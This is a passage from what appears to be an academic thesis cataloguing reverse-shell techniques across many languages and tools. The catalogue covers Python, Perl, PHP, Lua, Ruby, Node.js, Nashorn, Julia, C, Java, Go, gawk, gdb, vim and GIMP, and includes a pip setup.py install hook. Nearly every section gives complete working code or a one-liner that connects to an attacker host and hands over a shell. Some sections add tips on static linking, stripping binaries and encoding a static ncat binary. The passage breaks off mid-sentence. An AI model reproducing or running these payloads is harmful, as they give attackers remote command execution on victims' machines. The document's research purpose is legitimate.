• C shell (csh) and TENEX C shell (tcsh) – Shells with a syntax inspired by
the C programming language. tcsh extends csh with interactive features like
command-line editing and history.

• Friendly interactive shell (fish) – A user-friendly shell with advanced features
like syntax highlighting, autosuggestions, and a scripting syntax distinct from
POSIX-compliant shells.

• rc shell (rc) – The default shell for the Plan 9 operating system, also available
on Unix systems.

• Stand-alone shell (sash) – A statically linked shell designed for system recovery
and emergency maintenance.

• Command Prompt (cmd) – The default legacy command-line interpreter for
Windows.
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3.3 Programming language interpreters

In this section, we cover common interpreted programming or scripting languages.
Every proper programming language should be capable of opening a TCP socket for
network communication (perhaps with some standard module), running a command
from the operating system, redirecting standard file descriptors to the socket – and,
therefore, creating a reverse shell. The interesting part is which dynamic libraries and
modules are requisite for each method.

Almost all examples in this section are written as script files, but, as with the Pow-
erShell example (code 3.2.1), they can easily be turned into one-liners with specific
options or pipelines. We will specify how to do this for each method. The example
scripts also include comments with decent explanations of what the script does.

3.3.1 Python (python/python3)

Version: 3.12.3

Python is one of the most popular programming languages, known for its simple,
readable syntax and vast standard library. Among the example scripts in this section,
the following one for Python reverse shell is relatively short and straightforward. It
also requires a small number of Python modules.

Code 3.3.1: Python reverse shell script
import socket, os

# Open a new TCP socket and connect to the attacker
sock = socket.socket()
sock.connect(("⟨HOST⟩", ⟨PORT⟩))

# Redirect standard input/output/error to the socket
for fd in (0, 1, 2):

os.dup2(sock.fileno(), fd)

# Replace the current process with the shell
os.execvp("⟨SHELL⟩", ["⟨SHELL⟩"])

Dependencies: Python modules (see list 4.1 in the appendix A)

The os.execvp() call can be replaced with any other function from the “exec fam-
ily”5, or with other functions that spawn subprocesses, such as os.system(), func-
tions from the subprocess module (subprocess.run(), subprocess.call(), etc.),
or pty.spawn() from the pty module, which emulates a more stable interactive ter-
minal. Naturally, using functions from additional modules introduces dependencies on

5execv, execvp, execve, execvpe
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external Python modules or other libraries.

Command 3.3.1: Running the Python reverse shell script
python ⟨script-filename⟩

Now, the script can be turned into a one-liner using Python’s -c option and sepa-
rating lines with semicolons [15]. The for loop, however, must be compressed to a list
comprehension as [os.dup2(sock.fileno(),fd) for fd in (0,1,2)] or expanded
into three separate lines (one for each file descriptor).

Command 3.3.2: Python one-line reverse shell
python -c ’⟨compressed-script⟩’

3.3.1.1 Pip (pip)

Version: 24.0 (python 3.12)

Pip is the default package manager for Python, used to install and manage third-party
libraries from the Python Package Index (PyPI). Most distributions of Python come
with the pip tool preinstalled. While primarily intended for managing dependencies
in software projects, Pip can be misused to execute arbitrary Python code during
package installation via a specially crafted setup.py script. This file should contain
the package’s metadata and installation instructions, and Pip automatically searches
for it and executes it to build and install the package [2].

So, we can use the Python script for reverse shell (see code 3.3.1) as the setup.py file,
and then give the directory in which this file is as the argument to the pip install

command. For clarity and a general case, we use a temporary directory ⟨TMP⟩ to place
the custom setup.py file.

Command 3.3.3: Pip reverse shell
mkdir -p ⟨TMP⟩
echo ’⟨compressed-script⟩’ > ⟨TMP⟩/setup.py
pip install --break-system-packages ⟨TMP⟩
rm -r ⟨TMP⟩

Dependencies: dependencies from code 3.3.1, additional Python modules and loadable
objects (see list 4.2 and list 4.3 in the appendix A)

We need to use the --break-system-packages option in case of the externally man-
aged environment [2]. That is when the Python installation is marked as “externally
managed” by the OS package manager (like apt) and the pip tool is about to install
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packages “system-wide”, which could overwrite system-managed Python packages (and
thus break some functionality that depends on those packages). We are not overwriting
any system packages in our case, but it is an additional security permission that the
pip tool requires.

3.3.2 Perl (perl)

Version: 5.38.2

Perl is a high-level language designed as a general-purpose Unix scripting language to
facilitate report processing. Although less commonly used today than Python or other
scripting languages, Perl remains a staple in many legacy systems. The script for the
reverse shell is, again, really straightforward, with a few dependent modules.

Code 3.3.2: Perl reverse shell script
use Socket;

# Open a new TCP socket and connect to the attacker
socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
connect(S, sockaddr_in(⟨PORT⟩, inet_aton("⟨HOST⟩")))

# Redirect STDIN, STDOUT, and STDERR to the socket
open(STDIN, ">&S");
open(STDOUT, ">&S");
open(STDERR, ">&S");

# Replace the current process with the shell
exec("⟨SHELL⟩");

Dependencies: /dev/null, Perl modules (see list 4.4 in the appendix A), loadable object
auto/Socket/Socket.so (for module Socket)

Command 3.3.4: Running the Perl reverse shell script
perl ⟨script-filename⟩

To make it into a one-line command, use the -e (or -E) option with the compressed
script [50].

Command 3.3.5: Perl one-line reverse shell
perl -e ’⟨compressed-script⟩’
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3.3.2.1 Comprehensive Perl Archive Network (cpan)

Version: Perl 5.38.2

CPAN is a large repository of Perl modules and libraries. It is typically accessed
using the cpan command-line tool, which allows users to search for, install, and man-
age Perl modules directly from the terminal. When run without arguments, the tool
starts an interactive CPAN session, where the exclamation mark (!) executes arbitrary
commands. While this feature is intended to allow running shell commands (such as
! ls ), it can also interpret and execute valid Perl code [24].

Hence, we could start the cpan session and enter the compressed Perl code from
code 3.3.2 prefixed with !. We can also pass the line to cpan through a pipeline
with the echo command, as shown below.

Command 3.3.6: Cpan one-line reverse shell
echo ’! ⟨compressed-script⟩’ | cpan

Dependencies: perl, dependencies from code 3.3.2 (except /dev/null), additional Perl
modules and loadable objects (see lists 4.5 and 4.6 in the appendix A)

3.3.3 PHP (php)

Version: 8.3.6

PHP is a widely used server-side scripting language. It is primarily designed for web
development but capable of general-purpose scripting. It has built-in networking and
process control functions, allowing quick and effective reverse shell implementations.
That makes PHP reverse shell especially useful in web-based attack scenarios like file
upload or remote code execution vulnerabilities.

Our minimal example of a PHP reverse shell consists of only two function calls. Since
these functions are part of PHP’s core, loading additional modules is not required
(which makes the dependency list minimalistic).

Code 3.3.3: PHP reverse shell script
<?php
// Open a new TCP socket and connect to the attacker
$sock = fsockopen("⟨HOST⟩", ⟨PORT⟩);

// Run the shell with redirected standard input, output and error to the socket
proc_open("⟨SHELL⟩", array(0 => $sock, 1 => $sock, 2 => $sock), $pipes);
?>
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Dependencies: UTC file6, sh shell (php uses it to execute commands)

Note: This will fork the shell session without the need to use & in the command passed to
the proc_open() function.

We can use the option -f (or –file) to execute the script (but it also works without
the option, when we pass the filename as the only argument).

Command 3.3.7: Running the PHP reverse shell script
php -f ⟨script-filename⟩

The option -r (or --run) of the PHP command line tool allows us to run the code as
one command [19]. However, we must omit the PHP opening and closing tags (<?php
and ?>) in the compressed script.

Command 3.3.8: PHP one-line reverse shell
php -r ’⟨compressed-script⟩’

Additionally, the proc_open() call can be substituted with other functions that accept
only the command argument without the descriptor specification. This can be fixed
using standard shell redirections as part of the command passed to the function. The
fsockopen() call assigns the first available file descriptor number to the opened socket,
which we can use for the shell redirections. However, this number differs when executing
the script from a file or with the -r option from the command line. In the first case
(command 3.3.7), the assigned file descriptor should be number 4, while in the second
case (command 3.3.8) it should be number 37. We will refer to this number as ⟨fd⟩.

Also, be aware that the $sock variable (to which the return value of fsockopen()

call is assigned) is still needed even with the substituted functions, which do not di-
rectly use this variable, because otherwise the socket would be closed immediately by
PHP garbage collection. Finally, these are the functions that can be used instead of
proc_open() one:

• exec("⟨SHELL⟩ <&⟨fd⟩ >&⟨fd⟩ 2>&⟨fd⟩")

• system("⟨SHELL⟩ <&⟨fd⟩ >&⟨fd⟩ 2>&⟨fd⟩")

• shell_exec("⟨SHELL⟩ <&⟨fd⟩ >&⟨fd⟩ 2>&⟨fd⟩") or
‘⟨SHELL⟩ <&⟨fd⟩ >&⟨fd⟩ 2>&⟨fd⟩‘ (with the backtick symbols) – these are se-
mantically equivalent

6usually located in /usr/share/zoneinfo/; without it, the php tool does not work at all
7we have not investigated further why this is so, we have identified the numbers just from testing
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• passthru("⟨SHELL⟩ <&⟨fd⟩ >&⟨fd⟩ 2>&⟨fd⟩")

• popen("⟨SHELL⟩ <&⟨fd⟩ >&⟨fd⟩ 2>&⟨fd⟩", "r")

3.3.4 Lua (lua)

Version: 5.3.6

Lua is a lightweight, embeddable scripting language designed primarily for integration
into other applications. It is widely used in game development, embedded systems,
and configuration scripting. The LuaRocks package manager (luarocks) allows users
to extend the language’s minimal core by installing additional packages.

We need the socket library for a reverse shell from the luasocket package. To install
it, we issue:

luarocks install luasocket

However, the following script depends on only two files from the package (see Depen-
dencies).

Code 3.3.4: Lua reverse shell script
socket = require("socket")

-- Open a new TCP socket and connect to the attacker, the socket is associated
with file descriptor 3 automatically

socket.tcp():connect("⟨HOST⟩", ⟨PORT⟩)

-- Run the shell with redirected standard input/output/error to the socket
os.execute("⟨SHELL⟩ <&3 >&3 2>&3")

Dependencies: sh shell (os.execute() uses it to execute the command), Lua socket

module8 and loadable object socket/core.so9

Command 3.3.9: Running the Lua reverse shell script
lua ⟨script-filename⟩

Another option, though kind of redundant, is compiling the Lua code with luac com-
piler and then running the compiled code with lua interpreter. We can also run the
script directly from the command line using Lua’s -e option.

Command 3.3.10: Lua one-line reverse shell
lua -e ’⟨compressed-script⟩’

8.lua file, usually located in /usr/share/lua/<version>/
9usually located somewhere in /usr/lib/ under lua/<version> directory
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3.3.5 Ruby (ruby)

Version: 3.2.3

Ruby is a dynamic, object-oriented programming language known for its clean syntax
and focus on developer productivity. It is widely used in web development (notably
with Ruby on Rails, a server-side web application framework) but functions well as a
general-purpose scripting language.

The simplicity of the Ruby language makes the reverse shell script again pretty straight-
forward. We present two fundamentally different versions – the first redirects standard
file descriptors and replaces the process with the given shell; the second reads com-
mands from the socket, executes them with the sh shell, and sends the output back to
the socket in a loop. Both scripts require only one module.

Code 3.3.5: Ruby reverse shell script (version 1)
require "socket"

# Open a new TCP socket and connect to the attacker
sock = TCPSocket.new("⟨HOST⟩", ⟨PORT⟩)

# Redirect STDIN, STDOUT, and STDERR to the socket
STDIN.reopen(sock)
STDOUT.reopen(sock)
STDERR.reopen(sock)

# Replace the current process with the shell
exec "⟨SHELL⟩"

Dependencies: Ruby module socket10 and loadable object socket.so11

Code 3.3.6: Ruby reverse shell script (version 2)
require "socket"

# Open a new TCP socket and connect to the attacker
sock = TCPSocket.new("⟨HOST⟩", ⟨PORT⟩)

# Read commands from socket until connection is closed
while cmd = sock.gets
# Run the received command and capture output
IO.popen(cmd, "r") do |io|
# Send command output back to attacker
sock.print io.read

end
end

Dependencies: same dependencies from code 3.3.5, sh shell (popen() function uses it to
execute the command)

10.rb file, usually located in /usr/lib/ruby/<version>/
11usually located somewhere in /usr/lib/ under ruby/<version> directory
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Command 3.3.11: Running the Ruby reverse shell script
ruby ⟨script-filename⟩

The ruby tool supports option -e, which can turn the scripts into one-line commands
[27].

Command 3.3.12: Ruby one-line reverse shell
ruby -e ’⟨compressed-script⟩’

3.3.5.1 Interactive Ruby Shell (irb)

Version: 1.6.2

Ruby also comes with an interactive shell called IRB (Interactive Ruby), which allows
users to execute Ruby code line by line directly from the terminal. Similarly to the
cpan (section 3.3.2.1) tool, we can pass the compressed script (either code 3.3.5 or
code 3.3.6) to the irb through a pipeline.

Command 3.3.13: IRB one-line reverse shell
echo ’⟨compressed-script⟩’ | irb

Dependencies: ruby 12, dependencies from either code 3.3.5 or code 3.3.6, /dev/null,
additional Ruby modules, loadable objects and special gemspec files (see lists 4.7 to 4.9 in
the appendix A)

3.3.6 JavaScript runtime environments

JavaScript is one of the most popular scripting languages. It is traditionally associated
with web browsers as a client-side scripting language, but it can also be executed outside
of browsers using various runtime environments. At the core of these environments are
JavaScript engines — programs that parse and execute JavaScript code [55]. Our
analysis focuses on two JavaScript runtime environments: Node.js and Nashorn. For
each one of the two, we mention what command line tool is used for the execution of
code in these environments (either from a script file or as a one-liner).

12or ruby<version>, since some modules explicitly call this binary
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3.3.6.1 Node.js (node)

Version: 18.19.1

Node.js is a popular standalone server-side runtime built on the V8 engine and can
be invoked with the node command [5]. It has built-in modules, such as net and
child_process for networking and process management. The implementation is,
therefore, relatively simple (at least more simple than with the Nashorn).

Code 3.3.7: Node.js reverse shell script (JavaScript)
// Spawn a shell process
shell = require("child_process").spawn("⟨SHELL⟩");

// Connect to the attacker
require("net").connect(⟨PORT⟩, "⟨HOST⟩", function () {

// Pipe socket input to the shell’s stdin
this.pipe(shell.stdin);

// Pipe shell’s standard stdout and stderr to the socket
shell.stdout.pipe(this);
shell.stderr.pipe(this);

});

Dependencies: JavaScript modules (see list 4.10 in the appendix A)

Command 3.3.14: Running the Node.js reverse shell script
node ⟨script-filename⟩

The option -e (or --eval) serves for execution of code directly from the command
line.

Command 3.3.15: Node.js one-line reverse shell
node -e ’⟨compressed-script⟩’

3.3.6.2 Nashorn engine (jjs)

Version: 1.8.0_452

Nashorn is a Java-based JavaScript runtime included with Java 8 up to the JDK 14
and is now marked as depreciated [7]. It runs on the Java Virtual Machine (JVM)
and provides Java interoperability. Nashorn scripts can be executed using the jjs

command line tool [8].

Nashorn relies on Java classes like java.net.Socket and ProcessBuilder, which
makes the code similar to Java code discussed later (code 3.4.2).
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Code 3.3.8: Nashorn engine reverse shell script (JavaScript)
// Open a new TCP socket and connect to the attacker
var sock = new java.net.Socket("⟨HOST⟩", ⟨PORT⟩);

// Start a shell process and merge stdout and stderr
var proc = new java.lang.ProcessBuilder("⟨SHELL⟩").redirectErrorStream(true).

start();

// Input and output streams
var pi = proc.getInputStream(); // stdout and stderr of the shell
var po = proc.getOutputStream(); // stdin of the shell
var si = sock.getInputStream(); // stdout of the socket
var so = sock.getOutputStream(); // stdin of the socket

while (!sock.isClosed()) {
// Read output from shell (if there is any) and write to socket input
while (pi.available() > 0) so.write(pi.read());

// Read output from socket (if there is any) and write to shell input
while (si.available() > 0) po.write(si.read());

// Flush data to ensure it’s sent and received immediately
so.flush();
po.flush();

// Optional: short sleep to reduce CPU usage
java.lang.Thread.sleep(100);

}

proc.destroy();
sock.close();

Dependencies: environment variable JAVA_HOME set to Java installation directory13, sys-
tem’s dynamic libraries and Java’s special dynamic libraries (see list 4.11 in the appendix
A), JVM configuration file jvm.cfg14, rt.jar and ext/nashorn.jar Java archive files15

and data file tzdb.dat16

Command 3.3.16: Running the Nashorn reverse shell script using jjs
jjs ⟨script-filename⟩

The jjs tool does not offer the option to pass the script as a string, but we can achieve
the goal by piping the compressed script to jjs interactive mode.

Command 3.3.17: jjs one-line reverse shell
echo ’⟨compressed-script⟩’ | jjs

13usually /usr/lib/jvm/java-<JDK-version>-openjdk-<architecture>/
14located in $JAVA_HOME/lib/
15packages that bundle multiple Java class files, located in $JAVA_HOME/lib/
16time zone database, located in $JAVA_HOME/lib/
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3.3.7 Julia (julia)

Version: 1.11.4

Julia is a high-level, high-performance programming language designed primarily for
numerical and scientific computing [22]. It combines the flexibility of dynamic lan-
guages with the speed of compiled languages through just-in-time (JIT) compilation.
Julia typically runs like a scripting language through its interactive runtime, but it
also supports packaging code into standalone binaries [23]. Additionally, Julia excels
in interoperability – it can call libraries written in languages like C or Rust, and Julia
packages themselves can be accessed from languages like Python or R [26].

Naturally, Julia provides socket programming functionality, making it capable of cre-
ating a reverse shell.

Code 3.3.9: Julia reverse shell script
using Sockets

# Open a new TCP socket and connect to the attacker
sock = connect("⟨HOST⟩", parse(Int64, "⟨PORT⟩"))

while true
cmd = readline(sock)

# Only run non-empty commands (they would cause an error)
if !isempty(cmd)

cmd = split(cmd)

# Prepare buffers for capturing stdout and stderr
ioo = IOBuffer()
ioe = IOBuffer()

# Execute the command with redirected output
run(pipeline(‘$cmd‘, stdout=ioo, stderr=ioe))

# Send back the output
write(sock, String(take!(ioo)) * String(take!(ioe)))

end
end

Dependencies: dynamic libraries (see list 4.12 in the appendix A), Julia module Sockets

(files Sockets.jl and Sockets/Project.toml17)

Command 3.3.18: Running the Julia reverse shell script
julia ⟨script-filename⟩

Jullia command-line interface comes with the option -e (or --eval), which can evalu-
ates the compressed reverse shell script.

17usually located in /usr/local/share/stdlib/<version>
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Command 3.3.19: Julia one-line reverse shell
julia -e ’⟨compressed-script⟩’

3.4 Compiled programs

So far, we have mentioned reverse shell methods that utilize one or more software
tools with a CLI to establish a connection back to the attacker. Another approach is
running an executable from compiled code. In this subsection, we list methods that
require compilation (not necessarily into machine code, see section 3.4.2) before running
and, therefore, cannot be executed directly from the command line. We will focus on
one specific compiler for each considered language, since analyzing dependencies for
each available compiler would be complicated and is beyond the scope of this thesis.

3.4.1 C/C++ (gcc)

Version: 13.3.0

First on the list are the classic C and C++ (since all C code is valid C++ code) and
the gcc (GNU Compiler Collection) compiler. Although any C compiler can be used to
compile the example code, dependencies have been analysed only for the gcc compiler
(version 13).

C is a low-level, system-oriented language that provides direct access to memory and
system calls. Many tools mentioned in this thesis are themselves implemented in C.
However, the low-level nature of the language means that the code is not as clean as
with other high-level languages. The basic explanation of the code can be found in the
comments.
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Code 3.4.1: C/C++ reverse shell code
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>

int main() {
// Create a TCP socket
int sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock == -1) {

exit(1);
}

// Prepare the sockaddr_in structure with the target address
struct sockaddr_in server_addr;
server_addr.sin_family = AF_INET; // Use IPv4
server_addr.sin_port = htons(⟨PORT⟩); // Set the port, in network byte order
inet_pton(AF_INET, "⟨HOST⟩", &server_addr.sin_addr); // Convert IP address

to binary format

// Attempt to connect to the remote host
if (connect(sock, (struct sockaddr*)&server_addr, sizeof(server_addr)) ==

-1) {
close(sock);
exit(1);

}

// Redirect standard input, output, and error to the socket
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);

// Replace the current process with a shell
execl("⟨SHELL⟩", "⟨SHELL⟩", NULL);

close(sock);
}

Just as shown in the PHP example (see code 3.3.3), the execl() function, which
replaces the process with a shell, can be substituted with other similar functions.
Alternatives include execve() (a system call which is essentially called by the other
functions), execlp(), execvp(), system(), or popen. Each of these functions has
slightly different syntax and may introduce different dependencies or behaviors – for
example, system() requires access to /bin/sh, while execvp() searches the PATH

environment variable.

We show how the code can be compiled in the simplest way.

Command 3.4.1: Compiling and running the C/C++ reverse shell code
gcc ⟨code-filename⟩ -o ⟨TMP⟩; ./⟨TMP⟩

Dependencies: as (GNU assembler), ld (GNU linker), cc118, static and dynamic libraries

18component of gcc that compiles source code to assembly, usually located in
/usr/libexec/gcc/<architecture>/<gcc-version>
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and header files (see list 4.13 and list 4.14 in the appendix A)

Note: The -o option can be omitted – in that case, the created binary will have the default
a.out file name [30].

The GCC compiler offers plentiful options. Perhaps the most interesting ones are these
[30]:

-static Links the libraries statically, producing a self-contained binary that does
not depend on shared libraries at runtime, but takes more space.

-Os Optimize for smaller size.

-s Strips the symbol table and relocation information from the executable,
making the final binary smaller.

3.4.2 Java (javac)

Version: 21.0.7

Another popular compiled language is Java, using the official javac compiler from
the Java Development Kit (JDK). Java is a high-level, object-oriented programming
language designed for portability and cross-platform compatibility. Unlike C/C++,
Java code is compiled into bytecode class files rather than native machine code. The
bytecode is then executed by the Java Virtual Machine (JVM), which serves as an
abstraction layer between the compiled program and the underlying operating system
[6] and is typically invoked using the java command (see command 3.4.2). We used
the relatively recent javac version 21 for our analysis.

Moving to the source code, Java uses stream objects as an abstraction over file de-
scriptors. We need a pair of streams – input and output – for both the socket and
the shell process. It might be counterintuitive, but the input streams correspond to
standard outputs, and the output streams to standard inputs (the names are from the
perspective of the Java program). The redirection must be handled manually using a
while loop since there is no Java API to directly pipe a process’s input and output to
a socket19. The loop continuously checks whether data is available to read from either
side and forwards it to the other end. This minimal approach avoids using threads or
additional I/O helpers, keeping the implementation simple.

19The ProcessBuilder class does provide redirectInput and redirectOutput methods, but they
only accept files as arguments [9]
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Code 3.4.2: Java reverse shell code
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class ReverseShell {
public static void main(String[] args) throws Exception {

// Open a new sock and connect to the attacker
Socket sock = new Socket(host, port);

// Start a shell process and merge stdout and stderr
Process proc = new ProcessBuilder(shell).redirectErrorStream(true).start

();

// Input and output streams
InputStream pi = proc.getInputStream(); // stdout and stderr of the

shell
OutputStream po = proc.getOutputStream(); // stdin of the shell
InputStream si = sock.getInputStream(); // stdout of the socket
OutputStream so = sock.getOutputStream(); // stdin of the socket

while (!sock.isClosed()) {
// Read output from shell (if there is any) and write to socket input
while (pi.available() > 0) {

so.write(pi.read());
}

// Read output from socket (if there is any) and write to shell input
while (si.available() > 0) {

po.write(si.read());
}

// Flush data to ensure it’s sent and received immediately
so.flush();
po.flush();

// Optional: short sleep to reduce CPU usage
Thread.sleep(100);

}

proc.destroy();
sock.close();

}
}

Command 3.4.2: Compiling and running the Java reverse shell code
javac ReverseShell.java; java ReverseShell

Dependencies: environment variable JAVA_HOME set to Java installation directory20, sys-
tem’s dynamic libraries and Java’s special dynamic libraries (see list 4.15 in the appendix
A), JVM configuration file jvm.cfg21, jspawnhelper executable22 and Java module image
modules23

20usually /usr/lib/jvm/java-<JDK-version>-openjdk-<architecture>/
21located in $JAVA_HOME/lib/
22used internally by the JVM to spawn child processes, located in $JAVA_HOME/lib/
23binary archive that contains all modularized Java runtime classes, located in $JAVA_HOME/lib/
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3.4.3 Golang (go)

Version: 1.22.2

Next is Golang (or Go), which is a modern, statically typed, and compiled programming
language developed at Google. Although syntactically similar to C, it has high-level
features like memory safety, garbage collection, and CSP-style concurrency [3]. It is
also known for its simplicity of syntax and efficiency.

Go compiles code into a machine code binary. There is an official Go compiler, which we
also used for testing, but other less-used alternatives exist. Command go run compiles
the code and also executes it (go build command is used solely for compiling the code).

Code 3.4.3: Go reverse shell code
package main

import (
"net"
"os/exec"

)

func main() {
// Open a new network connection to the attacker
conn, _ := net.Dial("tcp", "⟨HOST⟩:⟨PORT⟩")

// Prepare the shell command to execute
cmd := exec.Command("⟨SHELL⟩")

// Redirect standard input, output, and error to the network connection
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn

// Run the shell
cmd.Run()

}

There are also some interesting compilation options:

CGO_ENABLED=0 Makes the binary statically linked (without any external depen-
dencies during runtime).

-ldflags="-s -w" Makes the binary smaller by striping the symbol table and de-
bug info (same as option -s of gcc compiler, see section 3.4.1).

GOOS/GOARCH Lets you generate binaries for any OS/architecture. For exam-
ple

GOOS=windows GOARCH=amd64 go build ⟨code-filename⟩ -o
⟨TMP⟩
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Command 3.4.3: Compiling and running the Go reverse shell code
go run ⟨code-filename⟩

Dependencies: /dev/null, environment variable GOROOT set to Golang installation direc-
tory24, Golang tools25 asm, compile and link, header files26 asm_amd64.h, funcdata.h and
textflag.h, Golang modules (see list 4.16 in the appendix A)

3.5 Other tools

3.5.1 Gawk (gawk)

Version: GNU Awk 5.2.1

AWK is a text-processing and pattern-scanning language commonly used in Unix-like
systems for data manipulation tasks. Initially developed to work with textual data
stored in files, it was never meant for networking purposes [34].

Its GNU implementation, gawk, extends the standard AWK features with more pow-
erful capabilities, including built-in support for network communication. Specifically,
gawk allows the use of special file names in the form of

/net-type/protocol/localport/hostname/remoteport

together with the |& coprocess operator for creating TCP/IP network connections [39].
We will provide the example in the form of an AWK script, as we did in the previous
sections, but it can be executed directly from the command line.

24usually /urs/local/go or /urs/lib/go
25usually located in $GOROOT/pkg/tool/<architecture>/
26usually located in $GOROOT/pkg/include/
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Code 3.5.1: Gawk reverse shell script
BEGIN {

# Define the network socket to connect to the attacker
sock = "/inet/tcp/0/⟨HOST⟩/⟨PORT⟩"

while (1) {
# Attempt to read a command from the socket
if ((sock |& getline c) <= 0)

break # Exit if connection fails

# While the command produces output, send it back over the socket
while (c && (c " 2>&1" |& getline res) > 0) # Append 2>&1 to the command

to also send standard error output
print res |& sock

# Close the command input and output streams
close(c)

}
}

Since the gawk’s coprocess feature (the |& operator) captures only the standard output
of the command, while the coprocess’s standard error goes to the same place as gawk’s
standard error [36]. So we need to explicitly redirect it to standard output within the
command string itself. This was done by appending 2>&1 to the command c.

It is also vital to close the command’s streams after execution because each shell
command that the attacker runs through the reverse shell is associated with a separate
process (or opened file). If you attempt to execute the same command again without
closing the previous instance, gawk will reuse the existing process, which could lead to
unexpected results [35]. Closing the coprocess also saves system resources.

Next, we show how to run the script file (option -f or –file) or execute the script
from the command line.

Command 3.5.1: Running the Gawk reverse shell script
gawk -f ⟨script-filename⟩

Command 3.5.2: Gawk one-line reverse
gawk ’⟨compressed-script⟩’
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3.5.2 GNU Debugger (gdb)

Version: 14.2

GNU Debugger (GDB) is a powerful debugging tool primarily designed to analyze and
control the execution of programs written in C/C++ and other languages. It allows
users to inspect memory, set breakpoints, step through code, and interact with running
processes [13].

One of GDB’s key capabilities is attaching to a running process, which is specified
with its process identifier (PID). Once attached, GDB can (apart from other control
functionality) invoke functions directly from the process’s symbol table. If the target
process is linked against the C standard library (libc), the user can call the library
functions, including system calls, within the GDB session. Thus, we can create a
reverse shell with the correct set of functions.

To start a GDB session attached to the process with PID equal to ⟨pid⟩, we can use
the option -p (or --pid=⟨pid⟩). It gives us an interactive terminal from which we can
execute GDB commands.

gdb -p ⟨pid⟩

The simplest use case involves invoking a shell command via the system() function
from the libc library, which is commonly linked by many processes. Alternatives to
system() include execve(), popen(), or any other standard C function capable of
executing shell commands, as previously discussed in section 3.4.1. We use the Bash
reverse shell presented in command 3.2.1 as the function argument, but any other
available method can also be used.

This function can be executed within a GDB session using the call command [31].
Moreover, GDB allows passing commands from the command line through the -ex

option. When used with the –batch option, GDB operates in batch mode, running the
specified commands and exiting automatically afterwards. This enables the creation
of a one-liner reverse shell.

Command 3.5.3: GDB one-line reverse shell
gdb --batch -p ⟨pid⟩ -ex ’call (int) system("bash -c ’\’’⟨SHELL⟩ &> /dev/tcp/

⟨HOST⟩/⟨PORT⟩ 0>&1’\’’")’

Dependencies: a process with access to system() function form libc (or other function
with similar effect)

Note: We used a gdb compiled without Python support (using the –with-python=no

configuration option). For techniques involving gdb with Python support, see section 3.5.3.
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A key requirement for this technique is that the target process must include the desired
function in its symbol table. However, any process with access to the function – and
running under the same user invoking GDB – is equally usable. One can use the
ps aux command to identify running processes.

Importantly, this method is not limited to standard functions. Any callable code –
whether from a third-party library or custom implementation – capable of initiating a
reverse shell can be leveraged through GDB, assuming the process has access to it. For
instance, in cases where a reverse shell command (as shown in command 3.5.3) cannot
be executed due to missing tools, a reverse shell could still be constructed manually.
This would involve using system calls to open a socket and receive commands, similar
to the approach in code 3.4.1. However, such a setup would be significantly more
complex, requiring manual memory management and precise manipulation of pointers
within the process’s address space. A detailed example of manually programming a
reverse shell inside a GDB session is beyond the scope of this thesis and depends heavily
on the available running processes.

3.5.3 Tools compiled with python support

Some system tools offer built-in support for executing Python code, provided they are
compiled with the appropriate configuration. When such support is enabled, these tools
can execute an arbitrary Python reverse shell code, including one with a reverse shell.
In this section, we display three examples of such tools. We have tested these tools with
the compressed code from code 3.3.1 (we will reference it as ⟨compressed-script⟩).
We do not list dependencies for these examples because we used custom build for all
tools, and thus, dependencies would be too specific. However, one could expect basic
dependencies of the tool together with Python dependencies listed with code 3.3.1.

3.5.3.1 Vi IMproved (vim)

Version: 9.1, with Python 3.12 support

Vim is a text editor that is included by default in nearly all Linux distributions. It offers
a wide variety of commands and can also have built-in scripting language interpreters
if compiled that way – not only for Python but also Ruby, Perl, Tcl, etc. This support
is usually not enabled with default package installations and minimal builds and needs
to be built manually – +python (or +python3 for Python3) build options [49]. When
compiled with this support, Python code can be executed directly within the editor
using the :pyx command27.

27or alternatively :py2/:py3/:py command, but :pyx choose Python version based on pyxversion
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Command 3.5.4: Vim reverse shell with Python support
vim -c ’:python3 ⟨compressed-script⟩; vim.command(":q!")’

The vim.command(":q!") serves for quitting Vim after the end of the reverse shell.
Also, equivalent usage could be used for vim variants – rvim (remote-capable vari-
ant), view (read-only variant), vimdiff (launches Vim in diff mode), etc., which are
essentially Vim invoked with different options.

3.5.3.2 GNU Debugger (gdb)

Version: 14.2

We have already mentioned the GDB tool in section 3.5.2 to use it for attaching it
to running a process with access to functions capable of establishing a reverse shell.
Furthermore, GDB can have built-in support for Python scripting. This Python inte-
gration is enabled in most modern builds of GDB. With it, users can execute Python
code directly from the gdb prompt [18] without the need to attach it to a process with
suited properties. We trigger the execution of Python script via python keyword.

Command 3.5.5: GDB reverse shell with Python support
gdb --batch -ex ’python ⟨compressed-script⟩’

3.5.3.3 Gimp (gimp)

Version: 2.10.36, with Python-fu extension

GIMP (GNU Image Manipulation Program) is a feature-rich graphics editor commonly
found on desktop Linux systems. It offers a variety of plugins that can perform im-
age manipulations. In addition, GIMP has several scripting extensions which allow
for advanced non-interactive processing and creation of images [17]. The extension
supporting Python 2 is known as Python-fu (or gimp-python plugin) and used as the
option --batch-interpreter=python-fu-eval. However, starting with GIMP 3.0,
the legacy Python-fu interface has been replaced with standard Python 3 support,
which is not backward-compatible [16]. As a result, most modern builds no longer
include support for the gimp-python plugin.

We have tested the reverse shell with the older version of GIMP, but when using GIMP
3.0 with Python 3 support, use python3 with the option --batch-interpreter.

setting [49]
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Command 3.5.6: Gimp reverse shell with Python support
gimp -i --batch-interpreter=python-fu-eval -b ’⟨compressed-script⟩’

Newer versions of GIMP also support other scripting languages like Javascript, Lua
and also C code [16].

3.6 Encoded static binary

In this thesis, we focused on reverse shell techniques that depend on tools available on
the target system. These methods assume that the required tool(s) are either already
present and functional on the compromised machine or can be supplementary installed
by the attacker. They are practical and widely adopted, as they avoid introducing new
malware to the system, thereby leaving fewer traces.

However, if we want to achieve a reverse shell without relying on any preinstalled
tools – or even dynamic libraries – we need a statically linked binary in the form of
malware. This malware could be any statically compiled code from section 3.4. In
this section, we demonstrate an alternative approach to crafting such malware without
using a compiler on the target system. The only requirement is a statically built tool
or binary capable of executing a reverse shell28. As an example, we use Netcat from
the Nmap project, which supports static builds using the flags LDFLAGS="-static"

and CFLAGS="-static". We omit the full tutorial on how to build Nmap’s Netcat and
assume that the binary was built correctly – we will refer to it as ./ncat-static.

The key idea is to encode this binary using Base64, Hex, or any other binary-to-text
